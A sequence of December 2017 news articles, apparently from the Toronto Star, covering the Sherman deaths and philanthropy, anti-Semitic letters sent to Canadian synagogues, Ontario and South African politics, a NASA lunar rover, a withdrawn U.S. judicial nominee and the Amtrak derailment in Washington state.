The couple were known for philanthropic largesse, giving millions to various causes, including several within the citys close-knit Jewish community. Despite their wealth, Barry, 75, was known to shun the trappings of success, driving old cars and flying economy class.

Read more:

Barry and Honey Sherman sued builders of North York home

Sherman deaths probe: What happened inside 50 Old Colony Rd.?

Funeral for Barry and Honey Sherman to be held Thursday

He appeared to abhor showy displays, keeping largely to himself while his outgoing wife took the lead at social affairs. When he and Honey, 70, were awarded the Senate 150th Commemorative Medal for significant contributions to their communities in late November, only she travelled to Ottawa to receive it in the Senate chamber, from longtime friend Senator Linda Frum.

News of their death Friday came as a shock.

I cant even fathom it, I just cant, said Frank DAngelo, a longtime friend.

The Toronto businessman and entertainer, who had partnered with Sherman in various enterprises over the past 20 years  from brewing beer to making independent films  said the two spoke daily. He called Sherman his best friend.

I had an incredible relationship with him. We talked about life. He was the smartest man I met; he was a genius, he told the Star in an emotional interview on Monday.

Sherman was passionate about helping others, donating millions over the years to various causes. His whole goal in his life was to make affordable drugs for the world. Thats the way he was, thats the kind of guy he was, DAngelo said.

He said hes been disgusted by media reports, based on police sources, that the couple died in a murder-suicide. Speculation in the press makes me vomit. Its disrespectful.

I knew him, he couldnt hurt a flea, he said of his friend, adding that he didnt believe Sherman would kill his wife, whom he loved, then take his own life.

The theory was also rejected by the Sherman family, who said in a statement that our parents shared an enthusiasm for life and commitment to their family and community totally inconsistent with the rumours regrettably circulated in the media as to the circumstances surrounding their deaths.

Sherman, who had a PhD in astrophysics from the Massachusetts Institute of Technology, built a pharmaceutical empire from the brink of disaster. After selling his first company, Empire Laboratories in 1972, for $2 million, he and a partner founded Apotex, the company that would eventually deliver him nearly $5 billion in personal wealth.

His business was not without its challenges. After starting Apotex, Sherman skirted bankruptcy, barely salvaging the companys fortunes in 1980 when its generic version of the popular blood pressure drug propranolol hit the market ahead of its competitors. It was the companys first hit, and would lead to a generic drug gold rush that would make the Shermans rich.

Sherman was aggressive, lobbying the federal government to slacken pharmaceutical patent regulations to further open the field for his generic knock-offs. At one point, he reneged on $25 million in promised donations in protest over a federal government decision that made it harder to get generic drugs to market.

Even with his success came the strain of legal challenges  dozens defended simultaneously  claiming that his copies had infringed on patents.

No legal battle was more protracted, or painful, than one brought in 2006 against him by his cousins. The Winter brothers filed a statement of claim that Empire, which Sherman had acquired from their father when they were children, had provided the foundation for his vast wealth.

After more than a decade, the suit was dismissed last September by a judge in Toronto who deemed the suits claims to be wishful thinking, but not before an ugly family history that Sherman had laboured to keep private turned into a very public affair.

But work was his passion.

The thing he enjoyed most in life, other than his family, was working, said Paul Godfrey, a businessman who considered the couple friends.

If I looked up workaholic in the dictionary I would no doubt find a picture of Barry Sherman, he said. Honey, on the other hand, if you looked up the word philanthropist youd see a picture of Honey.

To get Honey Sherman on your board for charitable work was a difficult task because everybody was at her, he said.

York University was one of the lucky ones. She was very supportive of York, said the universitys president, Rhonda Lenton, who had known the couple for years.

Barry is a bit more reserved in his manner, Honey is very effusive, very high energy, so theyre slightly different personalities, she said. But both of them were people who cared about other people.

Its a sentiment that echoed in kind words, fond memories and condolences shared online over the weekend through Twitter and different memorial pages.

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At least eight synagogues in four cities across Canada have received anti-Semitic letters calling for the death of Jews, Bnai Brith Canada said.

Four synagogues in Toronto, two in Montreal, one in Hamilton and one in Edmonton have reported being sent the hate mail, the Jewish advocacy group said Tuesday.

A photo on Bnai Brith Canadas website shows one letter containing the words Jewry must perish, and a swastika scrawled onto a blood-soaked Star of David.

Its really unfortunate that, at this time of year, with the Jewish community celebrating Hanukkah ... you have a message of targeted hate thats going out to religious institutions across the country, Bnai Brith Canada CEO Michael Mostyn said. Its sad to see and its actually quite terrifying for the individuals opening these letters with hateful genocidal messages.

Police in all four cities confirmed they were investigating the letters.

Officers are absolutely treating the incidents as hate crimes, said Staff Sgt. Frank Partridge of 32 Division in north Toronto, where one of the targeted synagogues is located.

This is something thats happening in real time  today, yesterday  its happening in (other cities) so theres a linkage there, Partridge said.

Starting tomorrow, Im having my officers go out and pay special attention to the synagogues and other Jewish facilities ... Youve got to be proactive about this.

There were 1,728 anti-Semitic incidents reported throughout the country in 2016, according to Bnai Briths statistics. Thats a 26 per cent increase from 2015 and the highest number of incidents ever seen by the organization, which has been tracking anti-Semitism for 35 years.

Bnai Brith does not yet have anti-Semitism statistics for 2017.

Black Canadians were the group most targeted by hate crimes in 2015  the most recent year for which Statistics Canada has published data.

Jews were the most-targeted religious group, however, followed closely by Muslims, according to Statistics Canada.

Unfortunately, some (people) feel emboldened at this moment in history to express hate toward identifiable groups and Jews in particular, Mostyn said, pointing to the high-profile neo-Nazi rallies in Charlottesville, Va., earlier this year, and a series of anti-Semitic posters put up on university campuses in Canada.

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Barry Sherman joked he was probably going senile, agreeing to have his and his wifes names emblazoned onto a health sciences research centre.

Wouldnt it be unbecoming, to have their names up there?

The couple had donated $5 million to the York University project  but such massive donations werent anything new for them. In fact, they did it all the time.

Hed joked about their names going up on the research centre when it opened in 2010, in an interview with the North York Mirror.

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In the wake of their deaths, the ideas that Honey and Barry Sherman held dearest can be gleaned from a trail of donations. The couple donated over $80 million, at the least, throughout their lives  often directed towards education, healthcare, politics and the Jewish community.

An exhaustive list of their charity work is near-impossible. One of their largest documented donations was $50 million to the United Jewish Appeal. But speaking to the Star, the group said theyve yet to tally all the Sherman donations  a mix of capital, annual, and foundation gifts.

They were major benefactors of the Simon Wiesenthal Centers Museum of Tolerance in Jerusalem, spokesperson Avital Borisovsky wrote in an email. But he declined to share the exact figure the Shermans donated.

In the world of healthcare, their donations are more quantifiable. They donated between $100,000 and $249,000 to the Sick Kids Foundation, annual reports show. They gave a whopping $10 million towards Mount Sinai Hospital over the years, and another $3 million to the University Health Network.

Through Apotex, they sent packages of direly-needed medications to the Mully Childrens Family, a childrens charity and orphanage based in Kenya. The last shipment in October was worth over $320,000.

Last years team saved a 5-day-old baby which would have died without the teams intervention and medication provided by our partners, executive director Elizabeth Shelton told the Star.

They donated another $100,000 in HIV treatment drugs to the Canadian Jewish Humanitarian and Relief Committee. Other aid donations include a cumulative total of between $2,500,000 and $4,999,999 for the United Way.

Crossing over from healthcare into education, they donated over $12 million to University of Toronto  mainly directed towards pharmacy students. They donated to York University for over two decades, giving to many initiatives on top of their $5 million for the Sherman Health Science Research Center.

In the political sphere, the Shermans and their company have funneled at least $20,533.88 into Canadian politics over the last 12 years.

Donations made under Barrys name were purely to the Liberal party. He donated $3808.94 since 2005  fragmented into donations for the York Centre and Humber River-Black Creek Federal Liberal Associations, the Liberal Party of Canada and an early 90s campaign for Pierre Pettigrew. Pettigrew served as a Minister under both Jean Chretien and Paul Martin.

Under Honeys name and under Apotex, though, donations jumped the political spectrum. Honey gave $10,158.94 in donations to the Liberals and $3,600 to the Conservatives since 2006. Apotex Inc. has donated $2,566 to the Liberal party since 2004, and $400 to the Conservatives.

But although they gave generously throughout their lives, the Shermans were still worth billions. A recent estimate by Canadian Business magazine estimated Barry alone to be worth $4.7 billion.

So what happens to their estate?

The first thing people are looking for is to see if they have a will, Suzana Popovic-Montag, a managing partner at Hull & Hull LLP, who is not involved in the Shermans estate, told the Star. That establishes an executor  someone to deal with the body, the funeral, and eventually the division of the estate.

Theyre looking in the houses, safety deposit boxes, Popovic-Montag listed. In some cases, individuals will tell their executors where the original copy is. If people dont know, then the familys just really left looking.

Rifling through the Shermans home, though, would be more complicated. Thats where the couple was found dead  and homicide investigators have taken over the case. Unless the family knows precisely where to look for the will, the estate process may be complicated or delayed by the investigation.

Once an executor is confirmed, theyll gather all the assets, pay any liabilities, and distribute whats left in accordance with the terms of the will. Terms can include setting up trusts or fulfilling promised gifts to charity.

Executors have little flexibility, Popovic-Montag explained. Its sort of your duty to uphold the terms of the will, she said. That said, the terms of someones will can be challenged or have claims made against it in court.

With files from the North York Mirror

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A year ago  call it the ghost of Christmas past  the media peppered Kathleen Wynne with questions about stepping down early to spare her Liberals a humiliating defeat in the next election.

This week  perhaps the ghost of Christmas present  the media was instead demanding whether shed commit to a full term, through 2022, if re-elected as premier.

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Wynne wants to level the playing field for Ontarians

We cant rely on any ghost of Christmas future to foretell the provinces political fate. But the mere fact that reporters had rephrased their questions to such an extent is perhaps a minor miracle for the premier whom many assumed would have given up the ghost by now.

In a series of year-end interviews Monday, Wynne wouldnt tell the media how much longer shed remain in power if her Liberals win next June 7. Its still too early to take bets on a Wynne resurrection, but a premier who was given up for politically dead a year ago may now be in a dead heat, according to the more closely-watched public opinion polls.

Speaking to the Toronto Star in the corner office she has occupied since 2013, Wynne went out of her way to project a path to re-election that would focus on fairness amid economic uncertainty. Facing an unexpectedly centrist feint from the opposition Progressive Conservatives, who are vowing to more or less continue many Liberal programs they had previously criticized  from pharmacare to minimum wage increases  Wynne vowed to come out fighting in the new year with a distinctively progressive platform.

On Jan. 1, her government will implement a full youth pharmacare program covering Ontarians up to age 25. She wants Ottawa to bankroll an expansion for all adults nationally, but Wynne hinted at an Ontario-only program  much like her proposed provincial pension plan in the 2014 election  if federal funding doesnt happen soon.

The premier wants her legacy to be about social justice but says she needs more time in government to leverage a strong economic recovery. While Ontarios growth has led the industrialized world in recent years, and unemployment is at historic lows, the challenge of precarious work is rising.

Precarious employment could also be in Wynnes personal political future.

If no party gains a majority in the next election, she hopes to form a minority government with support from the opposition New Democrats whose policies are more closely aligned. She cited their decision to prop up the Liberals from 2011-14, when the NDP wielded the balance of power.

You would be in a precarious parliament, and so I think that you have to find a way to make it work, Wynne mused in the interview. No matter what the configuration, I will do everything to ensure that a progressive platform is implemented.

That means expanding on recent progress in child care, pharmacare and dental care, while making free tuition even more accessible to postsecondary students. Wynne declined to divulge details of her upcoming campaign platform  likely to be unveiled in a spring pre-election budget  but said voters will soon get a taste of the next pieces of our plan.

Reflecting on the changing workplace, she said the party must also speak to displaced workers caught in recurring economic disruption. Government can provide more nimble support through education, but also through the basic income pilot her Liberals are testing for the working poor and people who jump from job to job.

I have a deep belief that we dont play on a level field, and so what can I do to level that playing field? she said. Its our job as human beings to find ways to help each other, and so that for me is at the root of what government is about. We come together, and we decide as a society how we are going to support each other.

And who gets to govern us.

Martin Regg Cohns political column appears Tuesday, Thursday and Saturday. mcohn@thestar.ca, Twitter: @reggcohn

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Even as U.S. President Donald Trump signed a directive last Monday to put boots back on the moon, a team of NASA researchers continued work on a quiet project to send an unmanned rover there.

The project started three years ago, when several NASA centres, including Johnson Space Center, embarked on a quest to learn more about availability of water on the moon. If there is enough water that can be collected easily, the elements could be broken down to create rocket fuel, for example, or astronaut life support.

The result of their efforts, thus far, is Resource Prospector: a six-square-foot rover outfitted with a drill and mini science lab built to find and process water on the moon.

Our mission is about taking the next step toward chasing the water on the moon, said Bill Bluethmann, the rovers element lead at Johnson Space Center.

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Touting his new directive last week, Trump said, This time we will not only plant our flag and leave our footprint, we will establish a foundation for an eventual mission to Mars and perhaps someday to many worlds beyond.

Launch of the rover still is about five years away, but Bluethmann said that if the recent federal excitement helps get the rover into flight, well be very excited.

In November 2009, NASA officials made an announcement that fundamentally changed how people viewed the moon: Water existed in a permanently shadowed lunar crater.

Many in the scientific community assumed the moon was a dry, desolate place. But data from NASAs Lunar Crater Observation and Sensing Satellite indicated otherwise.

Up until that point, everyone was certain the moon was absolutely dry, and this flipped that on its head, said Dan Andrews, project manager for rover at NASAs Ames Research Center in California. This discovery really was a game-changer for how we thought of the moon.

Scientists began chasing this new discovery in earnest. About five years later, NASA researchers began developing a rover that could find and capture this water.

Their budget is $250 million, making it a small-scale project, Bluethmann said.

Fast forward to 2017 and the rover still is in the technology development phase. But researchers have a sense of how it will work.

Using mapping technology, the rover will determine the areas of the moon saturated with the most hydrogen. It is those areas where the rover will drill for water in four-inch chunks, Bluethmann said, going down as far as a metre.

Soil samples will be brought inside the rover any time water  typically in the form of ice  is detected, he said, and machinery that will test the soil.

The soil will be weighed and heated, he added, and anything that comes off the sample will be captured.

Scientists want to understand whether (the water) is on the surface so we get to it, whether we have to excavate to get it ... whether its distributed as nice bricks or channels, Bluethmann said.

The discoveries made during this mission, slated for 2022 or 2023, could have serious ramifications for deep-space travel, he said.

If enough water is found, the hydrogen could be used to refuel rockets on the way to Mars, for example, and the oxygen could be used to refuel life support for astronauts, he added.

This would not only make deep-space travel easier, it would make it cheaper.

Launching one pound of any material into space costs thousands of dollars, NASAs website states. One gallon of water weighs more than eight pounds, so the ability to generate water, air and fuel in space could represent enormous cost savings for future deep-space missions.

The possibilities, Andrews said, have gained the attention of many commercial manufacturers.

Really, I think the commercial world is hinging on what (Resource Prospector) finds about the nature of lunar resources, Andrews said. If they are accessible and if clever folks can come up with methods to extract them that are financially viable, that could be a new market.

The rover is being built to last a full lunar day: about two weeks on Earth. It will stay on the moon, along with its samples, when the mission is complete, Bluethmann said.

Johnsons moon rover could gain traction under the Trump administration, which has expressed a renewed interest in human lunar exploration.

That interest was cemented Dec. 11 when Trump signed Space Policy Directive 1, urging NASA to return Americans to the moon.

The directive marks an important step in returning American astronauts to the moon for the first time since 1972 for long-term exploration and use, Trump said.

The Trump administration has been working its way up to this announcement all year.

Vice-President Mike Pence voiced an interest in a human return to the moon in October during the National Space Council, according to the New York Times.

The council, created to co-ordinate policies between NASA and other agencies involved in space, was dissolved in 1993. But Trump this past summer re-established it through executive order.

We will return American astronauts to the moon, not only to leave behind footprints and flags, but to build the foundation we need to send Americans to Mars and beyond, Pence said, according to the Times.

On the day of Trumps December announcement, officials with Johnson Space Center said it was too early to understand how implementation of the new directive may affect our work. The centre will undoubtedly be affected: Johnson is where astronauts live and train before embarking on any space missions.

The move to return to lunar exploration comes after the Obama administration spent eight years pushing Mars travel over the moon. Its not clear how or when a lunar exploration endeavour will be executed by the current administration. Funding for the directive was not addressed during the Dec. 11 presidential announcement.

Though Andrews, the lunar rover project manager, did not directly comment on the Trump administrations renewed interest in the moon, he said NASAs focus on both lunar and deep-space missions will be helpful to their mission.

I dont even think you have to be interested in the moon to see the value of Resource Prospector, he said. Its findings could enable so many other destinations as well.

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JOHANNESBURGIn a humbling rebuke to President Jacob Zuma of South Africa, the African National Congress chose an anti-apartheid hero and business tycoon as its new leader on Monday, positioning him to become Zumas successor.

The new ANC leader, Cyril Ramaphosa, was a protege of Nelson Mandela, who had pushed unsuccessfully to name him as his successor in the late 1990s. After a long wait, he is now poised to lead a party and nation that have been deeply tarnished by Zumas eight-year rule.

After a fierce and tight race that exposed the stark divisions in the party, the ANCs 4,708 delegates voted by a margin of 179 ballots for Ramaphosa, 65, currently South Africas deputy president.

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The vote also amounted to a rejection of Zuma, who had backed the other main contender, Nkosazana Dlamini-Zuma, a veteran politician and Zumas former wife.

Ramaphosas victory amounts to a victory for reformers in the ANC, which wants to root out corruption and woo back foreign investors. Dlamini-Zuma had promised the radical economic transformation her former husband had never delivered.

Ramaphosa has a better chance of renewing confidence, not only in the markets but also inside the ANC, where reformers may now feel they have a place, said William Gumede, the executive chairman of the Democracy Works Foundation, a good-government advocacy group. The mood in this country in the last couple of years has been so depressed that hell bring a new energy.

But as a wealthy member of Zumas government who was largely silent in the face of cronyism and corruption, Ramaphosa is seen by critics as more a creature of that system than an honest broker and corruption fighter.

Ramaphosa doesnt have a reputation for being gung-ho, said Steven Friedman, a political analyst at the University of Johannesburg. Hes not the kind of muscleman politician that will go in and clean up. Hes more of a conciliator and bridge mender. There are all these wild expectations now.

Besides the presidency vote, delegates voted on five other top party positions. The total six posts were evenly split between the two factions, indicating that Ramaphosa will still need to negotiate and compromise with Zumas allies, Friedman said.

Zuma, who will cease to be party leader this week but whose term as the countrys president does not end until 2019, will leave his successor a number of problems, but one above all: a once-heroic liberation party that has now become associated with graft, cronyism and incompetence and that has been losing core supporters.

As delegates waited for the official results to be announced Monday evening at a national conference in Johannesburg, Ramaphosa could be seen joyfully greeting and hugging well-wishers on the stage, and posing for selfies. Dlamini-Zuma mostly sat expressionless. Zuma sat sipping from a cup of tea.

As expectations of a Ramaphosa victory heightened, South Africas currency, the rand, gained sharply  reflecting the business communitys preference for him. Senior political figures began posting congratulatory messages to Ramaphosa on Twitter.

When the results were finally announced, Ramaphosas supporters erupted in celebration while his rivals backers sat in stony silence  evidence of the wide divide that the new party leader will have to bridge.

With his victory on Monday, Ramaphosa is almost certain to become South Africas next president, thanks to the ANCs dominance in Parliament, which chooses the nations leader. A Ramaphosa victory, experts and allies have said, will strengthen the ANC before the elections in 2019.

Hes always been, in his history, an incredibly smart negotiator, said Barbara Hogan, an anti-apartheid veteran who served in Zumas Cabinet for two years and supported Ramaphosa. Hes always got the long view in mind.

Hes not the type who would smash an organization for his own ego, Hogan added, alluding to Zuma, who some say put his own interests above the partys.

Largely because of older Black voters who intimately remember the ANCs heroic past, the party is still considered the favourite to win the next general election. But party leaders have been alarmed at the ANCs rapid decline and Zuma is so widely discredited that party leaders could replace him with Ramaphosa before the 2019 elections to improve the ANCs chances.

In last years local elections, the party lost control over nearly all of the nations major urban areas, where disillusioned middle-class Black voters rebelled against the party.

ANC officials are hopeful the party can regain its previous stature under Ramaphosa, whose core supporters are precisely in those categories  city dwellers and business owners, along with the Black middle class  that had begun to drift away.

We dont want to be relegated to a rural party, Gwede Mantashe, the ANCs secretary-general and a Ramaphosa ally, said as voting was taking place on Monday. We want to regain the metros and be a strong ANC.

The two contenders embodied opposing strains in the ANC, the heroic 105-year-old liberation movement that, in recent elections, clung increasingly to its glorious past to bring voters to the ballot box.

Under Zuma, whose presidency has been marred by a series of personal and political scandals, the ANC had become a patronage machine that rewarded the faithful and made them dependent on the party.

Neither candidate offered a clear vision or detailed program on how to address the myriad problems afflicting South Africa, the continents most sophisticated economy but a deeply unequal one that offers little hope of upward mobility for the vast majority of impoverished Black South Africans.

A skilled union organizer, Ramaphosa served as Mandelas key negotiator in the talks that led  peacefully, against many odds  to the end of apartheid in 1994.

He was Mandelas choice to become deputy president and eventually his successor as the nations leader. But the powerful coterie of anti-apartheid leaders in exile pressed successfully for Thabo Mbeki.

Ramaphosa turned down Mandelas offer to become foreign minister and eventually entered the private sector, though he remained on the ANCs national executive committee.

Using his ties to the party, Ramaphosa quickly became one of the richest businessmen in the country and on the continent. He acquired interests in many areas, including South Africas McDonalds restaurants, and served on a multitude of corporate boards.

He was on the board of Lonmin, a mining company, when police shot and killed 34 wildcat strikers at a platinum mine in Marikana in 2012, in the deadliest killing of civilians since the end of apartheid. Though an official inquiry into the massacre absolved him of guilt, it found that he had tried to intervene with authorities on behalf of the company.

The terrible events that have unfolded cannot be described as a labour dispute, Ramaphosa wrote in an internal email after the first 10 strikers had been killed. They are plainly dastardly criminal and must be characterized as such. In line with this characterization, there needs to be concomitant action to address this situation.

Ramaphosa later apologized for the language he used but said that he was trying to prevent further deaths.

To many, Ramaphosa became the symbol of an ANC elite that had enriched itself by betraying the people it had once promised to serve. In another episode in 2012, Ramaphosa was widely criticized for bidding $2 million for a prize buffalo cow at a livestock auction.

He apologized for that as well. It is a mistake in the sea of poverty. I live in a community, he said. The damage has been done, I will live with it.

That same year, Ramaphosa returned to politics, and he has served since 2014 as deputy president under Zuma. Ramaphosa supported Zuma, staying largely silent as the presidents ethical problems and erratic policies damaged the economy.

More recently, though, Ramaphosa began to distance himself from Zuma. Last month, he gave a long speech on the economy, focusing on the importance of fighting corruption.

His supporters portrayed him as the man capable of righting the ANC. Jackson Mthembu, the partys chief whip, said on Twitter that he had cast his ballot for Ramaphosa and other five incorruptible leaders for the partys top six posts. My vote is to save the ANC and my country. We must!!

But to others, it is not yet clear that an insider can dismantle the very system that so richly rewarded him.

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PHILADELPHIA U.S. Vice-President Mike Pence and his family live with two cats, a rabbit and a snake at their official residence on the grounds of the U.S. Naval Observatory in Washington.

That makes them low-class, according to his boss, who said he was embarrassed by the menagerie, and who labelled the Pences yokels, according to the Atlantic magazine.

So now, President Donald Trump, whose statements have offended immigrants, Muslims, the disabled, women, prisoners of war, and even Arnold Schwarzenegger, has insulted one of the most passionate (and numerous) subsets of Americans there is:

Pet people.

Oh, you kind of expect something like this from him, hissed Ed Smith, 50, who had just treated his shih tzu, Frankie, to some kibble and Christmas presents from a Pet Smart in northeast Philadelphia. Animals just make you love them, you know. Theyre just good.

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For his part, James Serpell, a professor of ethics and animal welfare at the University of Pennsylvania school of veterinary medicine, said, Mr. Trump has got it wrong, adding that pet ownership isnt low-class at all.

In fact, he said, owning an animal has remained a respectable middle-class activity since the 19th century.

And not just the middle class.

Museums are filled with paintings of the well-fed, well-to-do posing with their pets  mostly dogs, many of which were bred by kings, queens and clergy  noted sociologist Linda Kalof of Michigan State University, editor of the Oxford Handbook of Animal Studies.

Nearly 64 per cent of U.S. residents who live in households making $85,000 a year or more own pets, according to the American Veterinary Medical Association.

Overall, around two-thirds of U.S. households have pets, said Leslie Irvine, a sociologist at the University of Colorado.

People across the socioeconomic spectrum love animals and have all kinds of pets, said Irvine, whose well-known book, My Dog Always Eats First, chronicles pet ownership among the homeless. Even people with no resources find ways to take care of them.

We love and need animals, she said, because pets are nonjudgmental and provide structure for our lives.

Dogs are the most popular of pets: Almost half of all U.S. households own one compared with 38 per cent that own cats, according to the 2017 National Pet Owners Survey by the American Pet Products Association, a trade group. Forty-six per cent of households are like the Pences: owners of multiple pets.

Horse owners have the highest average household incomes, followed by bird, fish, dog and small-animal owners, the survey said.

Rural people often have dogs and cats to guard their property, and keep deer or mice away, said David Blouin, a sociologist and an expert on human-animal interactions at Indiana University. In the city, pets are more seen as family members, he said.

Jeane Brody, 58, of Wallingford, Pa., who fosters animals, said Trumps apparent misunderstanding of pet-human bonding explains why hes one of the only presidents not to bring an animal companion into the White House.

If you dont like pets, fine, said Brody, an adjunct art history professor at Villanova University who volunteers for Providence Animal Center in Media, Pa. But dont denigrate Pence for having them.

Although historical records arent completely accurate, it appears that James Polk, in office from 1845 to 1849, was the only other U.S. president who didnt have animals.

Other presidents made up for the Polk-Trump lack, however.

George Washington supposedly had eight dogs, a parrot and a bunch of horses; Thomas Jefferson owned two bears and a mockingbird; Theodore Roosevelt oversaw a veritable zoo, including a hyena, a badger and 21 other creatures; while, for some reason, Herbert Hoover possessed two alligators. More modern presidents settled for cats and dogs.

One would-be president, Mitt Romney, was a dog owner, but he famously drew the ire of pet owners everywhere after they learned hed once strapped a dog carrier containing his Irish setter, Seamus, to the roof rack of his Chevrolet station wagon.

As for Trumps reportedly calling his own vice-president a yokel for liking animals, Temple University sociologist Matt Wray said the president was simply projecting his own inferiority onto Pence, since the Queens-born Trump himself was seen as a yokel by the Manhattan elite who never took him seriously.

Its not as though Trump has gone through life dogless, of course. He did live for a time with Chappy, the poodle of his first wife Ivana, she wrote in her memoir, Raising Trump.

Donald was not a dog fan, she wrote. And Chappy had an equal dislike of Donald.

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WASHINGTONMatthew Petersen, a nominee to the federal judiciary, has withdrawn from consideration days after a video clip showed him unable to answer basic questions about legal procedure, the White House confirmed Monday.

Petersen, nominated for a seat on the U.S. District Court for the District of Columbia, is the third Trump judicial pick to withdraw in the past week amid criticism from Democrats and others about their qualifications.

White House spokesperson Raj Shah confirmed that Trump had accepted Petersens withdrawal but declined to comment further.

The video of Petersen that went viral Thursday captured five minutes of pointed questioning by Sen. John Neely Kennedy at Petersens confirmation hearing before the Senate Judiciary Committee the day before.

It was posted on Twitter by Sen. Sheldon Whitehouse, who wrote that it showed Kennedy asking Petersen basic questions of law & he cant answer a single one.

As of Friday, the White House was standing by Petersen, with a spokesperson saying that he was qualified and that the Presidents opponents were trying to distract from the record-setting success the President has had on judicial nominations.

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In 7 months on U.S. Supreme Court, Neil Gorsuch has been just what conservatives hoped for  and what liberals feared

Republicans accuse Justice Department of bias after release of FBI officials text messages

Petersen, a graduate of the University of Virginia Law School, has been a member of the Federal Election Commission (FEC) since 2008 but has no trial experience. His tenure on the FEC overlapped with that of now-White House counsel Don McGahn for about five years.

While I am honored to have been nominated for this position, it has become clear to me over the past few days that my nomination has become a distraction  and that is not fair to you or your Administration, Petersen wrote to Trump in a letter dated Saturday. I had hoped my nearly two decades of public service might carry more weight than my two worst minutes on television. However, I am no stranger to political realities, and I do not wish to be a continued distraction from the important work of your administration and the Senate.

Until last week, Trumps record of getting judicial nominees confirmed by the Senate stood out as a bright spot for a president who has struggled for big wins on Capitol Hill. The Senate has confirmed Supreme Court Justice Neil Gorsuch, 12 circuit court judges and six district court judges.

Early last week, Senate Judiciary Committee Chairman Charles Grassley told the White House to reconsider the nominations of two nominees, Jeff Mateer and Brett Talley, both of whom were reported to have endorsed positions or groups that embrace discrimination. A day later, both nominations were pulled.

Democratic senators had also questioned the qualifications of Talley, Trumps nominee for a U.S. District Court seat in Alabama, and Mateer, who was nominated to serve on the bench in the Eastern District of Texas.

During Wednesdays confirmation hearing, Kennedy started by asking Petersen and four other nominees who appeared with him, Have any of you not tried a case to verdict in a courtroom?

Petersen, under consideration for a lifetime appointment on the bench, alone raised his hand. Kennedy then bore down.

Had Petersen ever handled a jury trial? I have not, the nominee responded.

Civil? No. Criminal? No. Bench trial? No. State or federal court? No.

How many depositions had he taken  fewer than five?

Probably somewhere in that range, Petersen said.

Had he ever argued a motion in state court? Federal court? No on both counts.

Kennedy then asked the last time Petersen had read the Federal Rules of Civil Procedure  the standards that govern civil cases in U.S. district courts.

In my current position, Petersen said, I obviously dont need to stay as invested in those on a day-to-day basis, but I do try to keep up to speed.

The inquisition continued for a few more minutes.

Petersen had been rated qualified for the bench by the American Bar Association.

On Monday, shortly before the White House confirmed Petersens withdrawal, Kennedy told a New Orleans television station that Trump called him Saturday to talk about the nominee.

He has told me, Kennedy, when some of my guys send someone who is not qualified, you do your job,  Kennedy told WWL-TV.

Kennedy said he was surprised when he learned that Petersen had no litigation experience.

Just because youve seen My Cousin Vinny doesnt qualify you to be a federal judge, Kennedy said, referring to the 1992 comedy starring Joe Pesci, who played a lawyer fresh out of law school who represented two young New Yorkers put on trial in rural Alabama for a murder they did not commit.

Petersens defenders argued that trial experience was not necessary and that he was a quick learner.

I wasnt aware that being trial lawyer was a precondition to being a district court judge, particularly in the District of Columbia, said Jan Baran, a partner at Wiley Rein who hired Petersen to his election law group out of law school and worked with him for three years.

Judges in the D.C. court usually handle one of two types of cases; the most frequent would be cases involving administration agencies, which Matt Petersen has a great deal of experience with, Baran said.

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DUPONT, WASH.Investigators are looking into whether the Amtrak engineer whose speeding train plunged off an overpass, killing at least three people, was distracted by the presence of an employee-in-training next to him in the locomotive, a federal official said Tuesday.

The official, who was not authorized to discuss the matter publicly and spoke on condition of anonymity, said investigators want to know whether the engineer lost situational awareness because of the second person in the cab.

Preliminary information indicated that the emergency brake on the Amtrak train that derailed in Washington state went off automatically and was not manually activated by the engineer, National Transportation Safety Board member Bella Dinh-Zarr said.

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Amtrak train derailed on new, faster route in Washington that drew concern

The train was hurtling at 129 km/hin a 48 km/h zone Monday morning when it ran off the rails along a curve south of Seattle, sending some of its cars plummeting onto an interstate highway below, Dinh-Zarr said, citing data from the locomotives event recorder.

Skid marks  so-called witness marks  from the trains wheels show where it left the track, she added.

Dinh-Zarr said it is not yet known what caused the train to derail and that it was too early in the investigation to conclude why it was going so fast.

Investigators will talk to the engineer and other crew members and review the event data record from the lead locomotive as well as an identical device from the rear engine, which has already been studied. Investigators are also trying to get images from two on-board cameras that were damaged in the crash, she said.

There were two people in the cab of the train at the time of the crash, the engineer and an in-training conductor who was familiarizing himself with the route, Dinh-Zarr said. A second conductor was in the passenger cabin at the time of the crash, which is also part of the job responsibility, she said.

In previous wrecks, investigators looked at whether the engineer was distracted or incapacitated. It is standard procedure in a crash investigation to test the engineer for alcohol or drugs and check to determine whether he or she was using a cellphone, something that is prohibited while the train is running.

The engineer, whose name was not released, was bleeding from the head after the crash and his eyes were swollen shut, according to radio transmissions from a crew member.

The train, with 85 passengers and crew members, was making the inaugural run along a fast new bypass route that was created by refurbishing freight tracks alongside Interstate 5. The 24 kilometre, $180.7 million (U.S.) project was aimed at speeding up service by bypassing a route with a number of curves, single-track tunnels and freight traffic.

Investigators were also looking into what training was required of the engineer and other crew members to operate on the new route, said Ted Turpin, the lead NTSB investigator of the crash. That includes assessing the training process and how much time the workers were required to spend on the trains before they shuttled passengers, he said.

Under Amtrak policy he couldnt run this train without being qualified and running this train previously, Turpin said of the engineer.

At least some of the crew had been doing runs on the route for two weeks prior to the crash, including a Friday ride-along for local dignitaries, Dinh-Zarr added.

The bypass underwent testing by Sound Transit and Amtrak beginning in January and at least until July, according to documents on the Washington Department of Transportation website.

An Amtrak train derailed about 64 kilometers south of Seattle before 8 a.m. Monday. (The Associated Press)

Positive train control  technology that can automatically slow or stop a speeding train  was not in use on that stretch of track. Track sensors and other PTC components have been installed, but the system is not expected to be completed until the spring, transit officials said.

Regulators have been pressing railroads for years to install such technology, and some have done so, but the deadline has been extended repeatedly at the industrys request and is now set for the end of 2018.

Dinh-Zarr said it was too early in the investigation to say whether positive train control would have prevented Mondays tragedy.

In addition to those killed, more than 70 people were injured. As of Tuesday, 35 were still hospitalized, including 21 in critical or serious condition.

Two of the dead were identified as train buffs and members of the rail advocacy group All Aboard Washington and were excited to be on board for the inaugural run: Jim Hamre, a retired civil engineer with the state Transportation Department, and Zack Willhoite, a customer service employee at a local transit agency.

Its pretty devastating. Were having a tough time, said All Aboard Washington executive director Lloyd Flem.

In 2015, an Amtrak train travelling at twice the 80 km/h speed limit derailed along a sharp curve in Philadelphia, killing eight people. Investigators concluded the engineer was distracted by reports over the radio of another train getting hit by a rock.

Amtrak agreed to pay $265 million to settle claims filed by the victims and their families. It has also installed positive train control on all its track between Boston and Washington.

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WASHINGTONFormer presidential candidate Jill Stein says shes co-operating with a Senate Intelligence Committee probe into Russian interference in the election.

Stein ran against President Donald Trump as a member of the Green Party. She said in a statement Tuesday that shes complying with the committees document request.

